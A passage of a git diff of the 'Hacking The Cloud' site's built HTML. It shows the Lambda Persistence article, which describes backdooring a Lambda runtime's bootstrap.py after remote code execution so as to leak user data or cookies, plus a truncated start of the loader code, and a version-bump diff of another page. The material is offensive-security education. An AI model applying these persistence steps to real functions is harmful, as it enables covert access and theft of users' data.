class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#python-runtime class=md-nav__link> <span class=md-ellipsis> Python Runtime </span> </a> </li> <li class=md-nav__item> <a href=#ruby-runtime class=md-nav__link> <span class=md-ellipsis> Ruby Runtime </span> </a> </li> <li class=md-nav__item> <a href=#creating-a-listener class=md-nav__link> <span class=md-ellipsis> Creating a Listener </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/lambda_persistence.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Lambda Persistence</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/ >Gaining Persistency on Vulnerable Lambdas</a> by <a href=https://twitter.com/yuval_avrahami>Yuval Avrahami</a></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p><a href=https://frichetten.com/blog/revisiting_lambda_persistence/ >Revisiting Lambda Persistence</a></p> </li> </ul> </div> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.</p> </div> <p>After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>See the "Creating a Listener" section at the bottom of this page for how to setup a listener for exfiltrated data.</p> </div> <h2 id=python-runtime>Python Runtime<a class=headerlink href=#python-runtime title="Permanent link">&para;</a></h2> <p>After identifying that your target is using the Python runtime, you'll need a copy of the <code>/var/runtime/bootstrap.py</code> file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.</p> <p>Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:</p> <figure> <p><a class=glightbox href=../../../images/aws/persistence/lambda_persistence/python_backdoor_bootstrap.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Python - Backdoored Lambda Bootstrap File" loading=lazy src=../../../images/aws/persistence/lambda_persistence/python_backdoor_bootstrap.png></a></p> </figure> <div class="admonition note"> <p class=admonition-title>Note</p> <p>You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!</p> </div> <p>With the <code>bootstrap.py</code> file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down. </p> <p>The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the <a href=https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html>Runtime API</a>. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:</p> <div class=highlight><pre><span></span><code><span class=kn>import</span> <span class=nn>urllib3</span>
 <span class=kn>import</span> <span class=nn>os</span>
 <span class=n>http</span> <span class=o>=</span> <span class=n>urllib3</span><span class=o>.</span><span class=n>PoolManager</span><span class=p>()</span>
 
diff --git a/aws/post_exploitation/role-chain-juggling/index.html b/aws/post_exploitation/role-chain-juggling/index.html
index 8ad47158b..090ebb262 100644
--- a/aws/post_exploitation/role-chain-juggling/index.html
+++ b/aws/post_exploitation/role-chain-juggling/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Keep your access by chaining assume-role calls."><link href=https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ rel=canonical><link href=../lambda_persistence/ rel=prev><link href=../run_shell_commands_on_ec2/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Role Chain Juggling - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Role Chain Juggling - Hacking The Cloud"><meta property=og:description content="Keep your access by chaining assume-role calls."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Role Chain Juggling - Hacking The Cloud"><meta property=twitter:description content="Keep your access by chaining assume-role calls."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Keep your access by chaining assume-role calls."><link href=https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ rel=canonical><link href=../lambda_persistence/ rel=prev><link href=../run_shell_commands_on_ec2/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Role Chain Juggling - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Role Chain Juggling - Hacking The Cloud"><meta property=og:description content="Keep your access by chaining assume-role calls."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Role Chain Juggling - Hacking The Cloud"><meta property=twitter:description content="Keep your access by chaining assume-role calls."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#role-chain-juggling class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Role Chain Juggling </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 